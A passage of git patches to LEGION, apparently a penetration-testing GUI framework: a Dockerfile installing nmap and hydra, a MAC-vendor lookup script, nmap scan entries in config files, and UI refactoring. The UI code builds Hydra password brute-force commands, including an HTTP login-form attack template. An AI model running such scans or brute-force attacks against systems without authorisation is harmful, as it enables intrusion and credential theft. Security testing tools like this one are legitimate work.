SQLAlchemy==1.3.0b1 aiomonitor>=0.3.1 APScheduler>=3.5.3 -PyQt5>=5.11.3 +PyQt5==5.11.3 sanic>=0.8.3 sanic_swagger requests>=2.20.1 From 55ca3480297e83c6ae9872b2d909dda5619782b0 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 23 Jan 2020 14:54:19 -0600 Subject: [PATCH 338/450] Update build --- docker/Dockerfile.dev | 19 +++++++++++++++++++ docker/buildIt.sh | 12 +++++++++++- 2 files changed, 30 insertions(+), 1 deletion(-) create mode 100644 docker/Dockerfile.dev diff --git a/docker/Dockerfile.dev b/docker/Dockerfile.dev new file mode 100644 index 00000000..50620c11 --- /dev/null +++ b/docker/Dockerfile.dev @@ -0,0 +1,19 @@ +FROM ubuntu:18.04 +ENV DISPLAY :0 +RUN apt-get update && apt-get install -y \ + python \ + python-pip \ + python3 \ + python3-pip \ + nmap \ + hydra \ + git +RUN git clone https://github.com/GoVanguard/legion.git -branch development +RUN cd legion && chmod +x ./startLegion.sh && chmod +x ./deps/* -R && chmod +x ./scripts/* -R && mkdir /legion/tmp +RUN cd legion && pip3 install -r requirements.txt --upgrade +RUN pip3 install service_identity --upgrade +RUN cd legion && chmod a+x ./deps/primeExploitDb.py && ./deps/primeExploitDb.py +RUN cd legion && ./deps/Ubuntu-18.sh +RUN cd legion && ./startLegion.sh setup +WORKDIR /legion +CMD ["python3", "legion.py"] diff --git a/docker/buildIt.sh b/docker/buildIt.sh index 2a7bab03..d3d4458f 100644 --- a/docker/buildIt.sh +++ b/docker/buildIt.sh @@ -1,2 +1,12 @@ #!/bin/bash -docker build -t legion . --no-cache + +testBranch=`git branch | grep "development" | grep "*"` + +if [[ -z $testBranch ]] +then + echo "Master Branch" + docker build -t legion . --no-cache +else + echo "Development Branch" + docker build -f Dockerfile.dev -t legion -t development . --no-cache +fi From 40367ce1c03efa775ac6df5c74768583c6926a43 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 23 Jan 2020 14:55:07 -0600 Subject: [PATCH 339/450] Update build --- docker/Dockerfile.dev | 19 +++++++++++++++++++ docker/buildIt.sh | 13 +++++++++++-- 2 files changed, 30 insertions(+), 2 deletions(-) create mode 100644 docker/Dockerfile.dev diff --git a/docker/Dockerfile.dev b/docker/Dockerfile.dev new file mode 100644 index 00000000..50620c11 --- /dev/null +++ b/docker/Dockerfile.dev @@ -0,0 +1,19 @@ +FROM ubuntu:18.04 +ENV DISPLAY :0 +RUN apt-get update && apt-get install -y \ + python \ + python-pip \ + python3 \ + python3-pip \ + nmap \ + hydra \ + git +RUN git clone https://github.com/GoVanguard/legion.git -branch development +RUN cd legion && chmod +x ./startLegion.sh && chmod +x ./deps/* -R && chmod +x ./scripts/* -R && mkdir /legion/tmp +RUN cd legion && pip3 install -r requirements.txt --upgrade +RUN pip3 install service_identity --upgrade +RUN cd legion && chmod a+x ./deps/primeExploitDb.py && ./deps/primeExploitDb.py +RUN cd legion && ./deps/Ubuntu-18.sh +RUN cd legion && ./startLegion.sh setup +WORKDIR /legion +CMD ["python3", "legion.py"] diff --git a/docker/buildIt.sh b/docker/buildIt.sh index 3a23f37e..d3d4458f 100644 --- a/docker/buildIt.sh +++ b/docker/buildIt.sh @@ -1,3 +1,12 @@ #!/bin/bash -releaseTag=`git branch | grep "*" | awk '{print $2}'` -docker build -t legion:${releaseTag} . --no-cache + +testBranch=`git branch | grep "development" | grep "*"` + +if [[ -z $testBranch ]] +then + echo "Master Branch" + docker build -t legion . --no-cache +else + echo "Development Branch" + docker build -f Dockerfile.dev -t legion -t development . --no-cache +fi From 261225677485d5a50b3e935e5e3872e088551df5 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 23 Jan 2020 15:10:32 -0600 Subject: [PATCH 340/450] Fix build script --- docker/Dockerfile.dev | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/Dockerfile.dev b/docker/Dockerfile.dev index 50620c11..d42174b8 100644 --- a/docker/Dockerfile.dev +++ b/docker/Dockerfile.dev @@ -8,7 +8,7 @@ RUN apt-get update && apt-get install -y \ nmap \ hydra \ git -RUN git clone https://github.com/GoVanguard/legion.git -branch development +RUN git clone https://github.com/GoVanguard/legion.git -b development RUN cd legion && chmod +x ./startLegion.sh && chmod +x ./deps/* -R && chmod +x ./scripts/* -R && mkdir /legion/tmp RUN cd legion && pip3 install -r requirements.txt --upgrade RUN pip3 install service_identity --upgrade From 06f2f14d61fe8a9c0e0c5cdf4486a082aac4cb66 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 23 Jan 2020 15:10:54 -0600 Subject: [PATCH 341/450] Fix build script --- docker/Dockerfile.dev | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/Dockerfile.dev b/docker/Dockerfile.dev index 50620c11..d42174b8 100644 --- a/docker/Dockerfile.dev +++ b/docker/Dockerfile.dev @@ -8,7 +8,7 @@ RUN apt-get update && apt-get install -y \ nmap \ hydra \ git -RUN git clone https://github.com/GoVanguard/legion.git -branch development +RUN git clone https://github.com/GoVanguard/legion.git -b development RUN cd legion && chmod +x ./startLegion.sh && chmod +x ./deps/* -R && chmod +x ./scripts/* -R && mkdir /legion/tmp RUN cd legion && pip3 install -r requirements.txt --upgrade RUN pip3 install service_identity --upgrade From 15afa697a75497af2ea59d752259c7c8d2dd938a Mon Sep 17 00:00:00 2001 From: GitHub Date: Mon, 27 Jan 2020 16:34:21 -0500 Subject: [PATCH 342/450] Macvendors script --- scripts/python/macvendors.py | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 scripts/python/macvendors.py diff --git a/scripts/python/macvendors.py b/scripts/python/macvendors.py new file mode 100644 index 00000000..eb14923f --- /dev/null +++ b/scripts/python/macvendors.py @@ -0,0 +1,27 @@ +import requests +import json + +class macvendorsScript(): + def __init__(self): + self.dbHost = None + self.session = None + + def setDbHost(self, dbHost): + self.dbHost = dbHost + + def setSession(self, session): + self.session = session + + def run(self): + print('Running MacVendors class') + url = "https://api.macvendors.com/" + str(self.dbHost.macaddr) + if self.dbHost: + r = requests.get(url) + result = str(r.text) + if type(result) == type(str()): + if result: + self.dbHost.vendor = result + self.session.add(self.dbHost) + +if __name__ == "__main__": + pass From 7d27d196d4d517667b72faa23f2026fe265b1b78 Mon Sep 17 00:00:00 2001 From: GitHub Date: Mon, 27 Jan 2020 16:36:11 -0500 Subject: [PATCH 343/450] Macvendors script --- legion-dev.conf | 1 + legion.conf | 1 + 2 files changed, 2 insertions(+) diff --git a/legion-dev.conf b/legion-dev.conf index 1483a534..55da36c0 100644 --- a/legion-dev.conf +++ b/legion-dev.conf @@ -33,6 +33,7 @@ nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" python-script-CrashMe=Run CrashMe python scripy, python3 ./scripts/python/dummy.py python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan +python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v [PortActions] diff --git a/legion.conf b/legion.conf index a8a88e35..54278ad4 100644 --- a/legion.conf +++ b/legion.conf @@ -32,6 +32,7 @@ nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OU nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan +python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v [PortActions] From 9446512bcaf8883e66b27582a73ab1765a91aa2a Mon Sep 17 00:00:00 2001 From: GitHub Date: Mon, 27 Jan 2020 16:39:40 -0500 Subject: [PATCH 344/450] Macvendors addition --- app/importers/PythonImporter.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/app/importers/PythonImporter.py b/app/importers/PythonImporter.py index b07975ac..61b4fa87 100644 --- a/app/importers/PythonImporter.py +++ b/app/importers/PythonImporter.py @@ -18,8 +18,8 @@ from PyQt5 import QtCore from db.entities.host import hostObj -from scripts.python import pyShodan -from time import time +from scripts.python import pyShodan, macvendors +from ui.ancillaryDialog import time class PythonImporter(QtCore.QThread): @@ -32,7 +32,7 @@ def __init__(self): QtCore.QThread.__init__(self, parent=None) self.output = '' self.hostIp = '' - self.pythonScriptDispatch = {'pyShodan': pyShodan.PyShodanScript()} + self.pythonScriptDispatch = {'pyShodan': pyShodan.PyShodanScript(), 'macvendors': macvendors.macvendorsScript()} self.pythonScriptObj = None def tsLog(self, msg): @@ -50,12 +50,11 @@ def setPythonScript(self, pythonScript): def setOutput(self, output): self.output = output - # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing - def run(self): + def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing try: session = self.db.session() startTime = time() - self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB + self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB #self.setPythonScript(self.pythonScript) db_host = session.query(hostObj).filter_by(ip = self.hostIp).first() self.pythonScriptObj.setDbHost(db_host) From 39cab91d65ed74ec617c9b76f02087256b83e078 Mon Sep 17 00:00:00 2001 From: GitHub Date: Tue, 4 Feb 2020 14:58:52 -0500 Subject: [PATCH 345/450] Added verbosity to macvendors script --- scripts/python/macvendors.py | 1 + 1 file changed, 1 insertion(+) diff --git a/scripts/python/macvendors.py b/scripts/python/macvendors.py index eb14923f..3021fdc7 100644 --- a/scripts/python/macvendors.py +++ b/scripts/python/macvendors.py @@ -21,6 +21,7 @@ def run(self): if type(result) == type(str()): if result: self.dbHost.vendor = result + print('The vendor is: ' + result) self.session.add(self.dbHost) if __name__ == "__main__": From 76321345ad4f0c2e99c6c707857eaa9b55daf64a Mon Sep 17 00:00:00 2001 From: GitHub Date: Tue, 4 Feb 2020 14:59:49 -0500 Subject: [PATCH 346/450] Updated information tab for vendor Information tab now lists vendor always, in anticipation for the newly added macvendors script --- ui/dialogs.py | 64 +++-- ui/view.py | 654 +++++++++++++++++++++----------------------------- 2 files changed, 298 insertions(+), 420 deletions(-) diff --git a/ui/dialogs.py b/ui/dialogs.py index 1293eee2..130b8108 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -1,20 +1,15 @@ #!/usr/bin/env python -""" +''' LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public - License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later - version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied - warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more - details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. - You should have received a copy of the GNU General Public License along with this program. - If not, see . -""" + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' import os from PyQt5.QtGui import * # for filters dialog @@ -23,9 +18,6 @@ from app.auxiliary import * # for timestamps from six import u as unicode -from app.timing import getTimestamp - - class BruteWidget(QtWidgets.QWidget): def __init__(self, ip, port, service, settings, parent=None): @@ -55,9 +47,7 @@ def __init__(self, ip, port, service, settings, parent=None): self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) def setupLayoutHlayout(self): - hydraServiceConversion = {'login': 'rlogin', 'ms-sql-s': 'mssql', 'ms-wbt-server': 'rdp', - 'netbios-ssn': 'smb', 'netbios-ns': 'smb', 'microsoft-ds': 'smb', - 'postgresql': 'postgres', 'vmware-auth': 'vmauthd"'} + hydraServiceConversion = {'login':'rlogin', 'ms-sql-s':'mssql', 'ms-wbt-server':'rdp', 'netbios-ssn':'smb', 'netbios-ns':'smb', 'microsoft-ds':'smb', 'postgresql':'postgres', 'vmware-auth':'vmauthd"'} # sometimes nmap service name is different from hydra service name if self.service is None: self.service = '' @@ -95,7 +85,7 @@ def setupLayoutHlayout(self): self.serviceComboBox.setCurrentIndex(i) break -# self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force +# self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force # self.labelPath.setFixedWidth(800) # self.labelPath.setText('/') @@ -154,10 +144,7 @@ def setupLayoutHlayout2(self): self.foundUsersRadio.toggle() self.warningLabel = QtWidgets.QLabel() - self.warningLabel.setText('*Note: when using form-based services from the Service menu, ' + - 'select the "Additional Options" checkbox and add the proper arguments' + - ' for the webpage form. See Hydra documentation for extra help when' + - ' targeting HTTP/HTTPS forms.') + self.warningLabel.setText('*Note: when using form-based services from the Service menu, select the "Additional Options" checkbox and add the proper arguments for the webpage form. See Hydra documentation for extra help when targeting HTTP/HTTPS forms.') self.warningLabel.setWordWrap(True) self.warningLabel.setAlignment(Qt.AlignRight) self.warningLabel.setStyleSheet('QLabel { color: red }') @@ -284,7 +271,7 @@ def setupLayoutHlayout4(self): def setupLayout(self): ### - self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force + self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force self.labelPath.setFixedWidth(800) self.labelPath.setText('-m "/login/login.html:username=^USER^&password=^PASS^&Login=Login:failed"') ### @@ -303,8 +290,7 @@ def setupLayout(self): p.setColor(QtGui.QPalette.Base, Qt.black) # black background p.setColor(QtGui.QPalette.Text, Qt.white) # white font self.display.setPalette(p) - # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black - self.display.setStyleSheet("QMenu { color:black;}") + self.display.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black self.vlayout = QtWidgets.QVBoxLayout() self.vlayout.addLayout(self.setupLayoutHlayout()) @@ -345,8 +331,7 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): self.port = self.portTextinput.text() self.service = str(self.serviceComboBox.currentText()) self.command = "hydra " + str(self.ip) + " -s " + self.port + " -o " - self.outputfile = runningfolder + "/hydra/" + getTimestamp() + \ - "-" + str(self.ip) + "-" + self.port + "-" + self.service + ".txt" + self.outputfile = runningfolder + "/hydra/" + getTimestamp() + "-" + str(self.ip) + "-" + self.port + "-" + self.service + ".txt" self.command += "\"" + self.outputfile + "\"" if 'form' not in str(self.service): @@ -391,7 +376,7 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): self.command += " " + self.service -# if self.labelPath.isVisible(): # append the additional field's content, if it was visible +# if self.labelPath.isVisible(): # append the additional field's content, if it was visible if self.checkAddMoreOptions.isChecked(): self.command += " "+str(self.labelPath.text()) # TODO: sanitise this? @@ -408,8 +393,7 @@ def toggleRunButton(self): else: self.runButton.setText('Run') - # used to be able to display the tool output in both the Brute tab and the tool display panel - def resetDisplay(self): + def resetDisplay(self): # used to be able to display the tool output in both the Brute tab and the tool display panel self.display.setParent(None) self.display = QtWidgets.QPlainTextEdit() self.display.setReadOnly(True) @@ -420,8 +404,7 @@ def resetDisplay(self): p.setColor(QtGui.QPalette.Base, Qt.black) # black background p.setColor(QtGui.QPalette.Text, Qt.white) # white font self.display.setPalette(p) - # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black - self.display.setStyleSheet("QMenu { color:black;}") + self.display.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black self.vlayout.addWidget(self.display) # dialog displayed when the user clicks on the advanced filters button @@ -491,12 +474,8 @@ def setupLayout(self): self.setLayout(layout) def getFilters(self): - #return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), - # self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), - # self.portsTcp.isChecked(), self.portsUdp.isChecked(), str(self.hostKeywordText.text()).split()] - return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), - self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), - self.portsTcp.isChecked(), self.portsUdp.isChecked(), unicode(self.hostKeywordText.text()).split()] + #return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), str(self.hostKeywordText.text()).split()] + return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), unicode(self.hostKeywordText.text()).split()] def setCurrentFilters(self, filters): if not self.hostsUp.isChecked() == filters[0]: @@ -599,6 +578,14 @@ def setupLayout(self): self.MacLayout.addWidget(self.MacText) self.MacLayout.addStretch() + self.VendorLabel = QtWidgets.QLabel() + self.VendorText = QtWidgets.QLabel() + self.VendorLayout = QtWidgets.QHBoxLayout() + self.VendorLayout.addSpacing(20) + self.VendorLayout.addWidget(self.VendorLabel) + self.VendorLayout.addWidget(self.VendorText) + self.VendorLayout.addStretch() + self.AsnLabel = QtWidgets.QLabel() self.AsnText = QtWidgets.QLabel() self.AsnLayout = QtWidgets.QHBoxLayout() @@ -654,6 +641,7 @@ def setupLayout(self): self.IP4Label.setText('IPv4:') self.IP6Label.setText('IPv6:') self.MacLabel.setText('MAC:') + self.VendorLabel.setText('Vendor:') self.AsnLabel.setText('ASN:') self.IspLabel.setText('ISP:') self.OSLabel.setText('Operating System') @@ -676,6 +664,7 @@ def setupLayout(self): self.vlayout_2.addLayout(self.IP4Layout) self.vlayout_2.addLayout(self.IP6Layout) self.vlayout_2.addLayout(self.MacLayout) + self.vlayout_2.addLayout(self.VendorLayout) self.vlayout_2.addLayout(self.AsnLayout) self.vlayout_2.addLayout(self.IspLayout) self.vlayout_2.addLayout(self.dummyLayout) @@ -707,6 +696,7 @@ def updateFields(self, **kwargs): self.IP4Text.setText(kwargs.get('ipv4') or 'unknown') self.IP6Text.setText(kwargs.get('ipv6') or 'unknown') self.MacText.setText(kwargs.get('macaddr') or 'unknown') + self.VendorText.setText(kwargs.get('vendor') or 'unknown') self.AsnText.setText(kwargs.get('asn') or 'unknown') self.IspText.setText(kwargs.get('isp') or 'unknown') self.OSNameText.setText(kwargs.get('osMatch') or 'unknown') diff --git a/ui/view.py b/ui/view.py index fb06068a..1ebc2fa8 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1,33 +1,23 @@ #!/usr/bin/env python -""" +''' LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public - License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later - version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied - warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more - details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. - You should have received a copy of the GNU General Public License along with this program. - If not, see . -""" + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' -import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex +import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex from PyQt5.QtCore import * # for filters dialog from PyQt5 import QtCore from PyQt5 import QtWidgets, QtGui, QtCore -from app.ApplicationInfo import applicationInfo, getVersion from app.shell.Shell import Shell -from app.timing import getTimestamp -from ui.ViewHeaders import serviceTableHeaders, hostTableHeaders, processTableHeaders, toolHostsTableHeaders, \ - scriptsTableHeaders, toolsTableHeaders, cvesTableHeaders, serviceNamesTableHeaders -from ui.ViewState import ViewState from ui.gui import * from ui.dialogs import * from ui.settingsDialog import * @@ -49,40 +39,33 @@ class View(QtCore.QObject): tick = QtCore.pyqtSignal(int, name="changed") # signal used to update the progress bar - def __init__(self, viewState: ViewState, ui, ui_mainwindow, shell: Shell): + def __init__(self, ui, ui_mainwindow, shell: Shell): QtCore.QObject.__init__(self) self.ui = ui - self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings + self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings self.bottomWindowSize = 100 self.leftPanelSize = 300 - self.ui.splitter_2.setSizes([250, self.bottomWindowSize]) # set better default size for bottom panel + self.ui.splitter_2.setSizes([250, self.bottomWindowSize]) # set better default size for bottom panel self.qss = None self.processesTableViewSort = 'desc' self.processesTableViewSortColumn = 'status' self.toolsTableViewSort = 'desc' self.toolsTableViewSortColumn = 'id' self.shell = shell - self.viewState = viewState - # the view needs access to controller methods to link gui actions with real actions - def setController(self, controller): + def setController(self, controller): # the view needs access to controller methods to link gui actions with real actions self.controller = controller def startOnce(self): - # the number of fixed host tabs (services, scripts, information, notes) - self.fixedTabsCount = self.ui.ServicesTabWidget.count() + self.fixedTabsCount = self.ui.ServicesTabWidget.count() # the number of fixed host tabs (services, scripts, information, notes) self.hostInfoWidget = HostInformationWidget(self.ui.InformationTab) self.filterdialog = FiltersDialog(self.ui.centralwidget) self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) self.adddialog = AddHostsDialog(self.ui.centralwidget) self.settingsWidget = AddSettingsDialog(self.shell, self.ui.centralwidget) - self.helpDialog = HelpDialog(applicationInfo["name"], applicationInfo["author"], applicationInfo["copyright"], - applicationInfo["links"], applicationInfo["emails"], applicationInfo["version"], - applicationInfo["build"], applicationInfo["update"], applicationInfo["license"], - applicationInfo["desc"], applicationInfo["smallIcon"], applicationInfo["bigIcon"], - qss = self.qss, parent = self.ui.centralwidget) + self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, self.controller.links, self.controller.emails, self.controller.version, self.controller.build, self.controller.update, self.controller.license, self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, qss = self.qss, parent = self.ui.centralwidget) self.configDialog = ConfigDialog(controller = self.controller, qss = self.qss, parent = self.ui.centralwidget) self.ui.HostsTableView.setSelectionMode(3) @@ -94,10 +77,26 @@ def startOnce(self): # initialisations (globals, etc) def start(self, title='*untitled'): - self.viewState = ViewState() + self.dirty = False # to know if the project has been saved + self.firstSave = True # to know if we should use the save as dialog (should probably be False until we add/import a host) + self.hostTabs = dict() # to keep track of which tabs should be displayed for each host + self.bruteTabCount = 1 # to keep track of the numbering of the bruteforce tabs (incremented when a new tab is added) + + self.filters = Filters() # to choose what to display in each panel + self.ui.keywordTextInput.setText('') # clear keyword filter - self.ProcessesTableModel = None # fixes bug when sorting processes for the first time + self.lastHostIdClicked = '' # TODO: check if we can get rid of this one. + self.ip_clicked = '' # useful when updating interfaces (serves as memory) + self.service_clicked = '' # useful when updating interfaces (serves as memory) + self.tool_clicked = '' # useful when updating interfaces (serves as memory) + self.script_clicked = '' # useful when updating interfaces (serves as memory) + self.tool_host_clicked = '' # useful when updating interfaces (serves as memory) + self.lazy_update_hosts = False # these variables indicate that the corresponding table needs to be updated. + self.lazy_update_services = False # 'lazy' means we only update a table at the last possible minute - before the user needs to see it + self.lazy_update_tools = False + self.menuVisible = False # to know if a context menu is showing (important to avoid disrupting the user) + self.ProcessesTableModel = None # fixes bug when sorting processes for the first time self.ToolsTableModel = None self.setupProcessesTableView() self.setupToolsTableView() @@ -108,7 +107,7 @@ def start(self, title='*untitled'): self.initTables() # initialise all tables self.updateInterface() - self.restoreToolTabWidget(True) # True means we want to show the original textedit + self.restoreToolTabWidget(True) # True means we want to show the original textedit self.updateScriptsOutputView('') # update the script output panel (right) self.updateToolHostsTableView('') self.ui.MainTabWidget.setCurrentIndex(0) # display scan tab by default @@ -117,7 +116,7 @@ def start(self, title='*untitled'): self.ui.BottomTabWidget.setCurrentIndex(0) # display Log tab by default self.ui.BruteTabWidget.setTabsClosable(True) # sets all tabs as closable in bruteforcer - self.ui.ServicesTabWidget.setTabsClosable(True) # hide the close button (cross) from the fixed tabs + self.ui.ServicesTabWidget.setTabsClosable(True) # hide the close button (cross) from the fixed tabs self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.RightSide, None) @@ -125,13 +124,12 @@ def start(self, title='*untitled'): self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(4, QTabBar.RightSide, None) - self.resetBruteTabs() # clear brute tabs (if any) and create default brute tab + self.resetBruteTabs() # clear brute tabs (if any) and create default brute tab self.displayToolPanel(False) self.displayScreenshots(False) - # displays an overlay over the hosttableview saying 'click here to add host(s) to scope' - self.displayAddHostsOverlay(True) + self.displayAddHostsOverlay(True) # displays an overlay over the hosttableview saying 'click here to add host(s) to scope' - def startConnections(self): # signal initialisations (signals/slots, actions, etc) + def startConnections(self): # signal initialisations (signals/slots, actions, etc) ### MENU ACTIONS ### self.connectCreateNewProject() self.connectOpenExistingProject() @@ -154,7 +152,7 @@ def startConnections(self): # signal initialisations (signals/slots, actions, e self.connectAddHostClick() self.connectSwitchTabClick() # to detect changing tabs (on left panel) self.connectSwitchMainTabClick() # to detect changing top level tabs - self.connectTableDoubleClick() # for double clicking on host (it redirects to the host view) + self.connectTableDoubleClick() # for double clicking on host (it redirects to the host view) self.connectProcessTableHeaderResize() ### CONTEXT MENUS ### self.connectHostsTableContextMenu() @@ -177,62 +175,67 @@ def startConnections(self): # signal initialisations (signals/slots, actions, e #################### AUXILIARY #################### - def initTables(self): # this function prepares the default settings for each table + def initTables(self): # this function prepares the default settings for each table # hosts table (left) - setTableProperties(self.ui.HostsTableView, len(hostTableHeaders), [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, - 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]) + headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) # service names table (left) - setTableProperties(self.ui.ServiceNamesTableView, len(serviceNamesTableHeaders)) + headers = ["Name"] + setTableProperties(self.ui.ServiceNamesTableView, len(headers)) # cves table (right) - setTableProperties(self.ui.CvesTableView, len(cvesTableHeaders)) + headers = ["CVE Id", "Severity", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", "ExploitDb URL"] + setTableProperties(self.ui.CvesTableView, len(headers)) self.ui.CvesTableView.setSortingEnabled(True) # tools table (left) - setTableProperties(self.ui.ToolsTableView, len(toolsTableHeaders), [0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]) + headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + setTableProperties(self.ui.ToolsTableView, len(headers), [0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]) # service table (right) - setTableProperties(self.ui.ServicesTableView, len(serviceTableHeaders), [0, 1, 5, 6, 8, 10, 11]) + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] + setTableProperties(self.ui.ServicesTableView, len(headers), [0, 1, 5, 6, 8, 10, 11]) # ports by service (right) - setTableProperties(self.ui.ServicesTableView, len(serviceTableHeaders), [2, 5, 6, 8, 10, 11]) + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] + setTableProperties(self.ui.ServicesTableView, len(headers), [2, 5, 6, 8, 10, 11]) self.ui.ServicesTableView.horizontalHeader().resizeSection(0, 130) # resize IP # scripts table (right) - setTableProperties(self.ui.ScriptsTableView, len(scriptsTableHeaders), [0, 3]) + headers = ["Id", "Script", "Port", "Protocol"] + setTableProperties(self.ui.ScriptsTableView, len(headers), [0, 3]) # tool hosts table (right) - setTableProperties(self.ui.ToolHostsTableView, len(toolHostsTableHeaders), [0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 12]) - self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5, 150) # default width for Host column + headers = ["Progress", "Display", "Pid", "Name", "Action", "Target", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + setTableProperties(self.ui.ToolHostsTableView, len(headers), [0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 12]) + self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column # process table - setTableProperties(self.ui.ProcessesTableView, len(processTableHeaders), [1, 2, 3, 4, 5, 8, 9, 10, 13, 14, 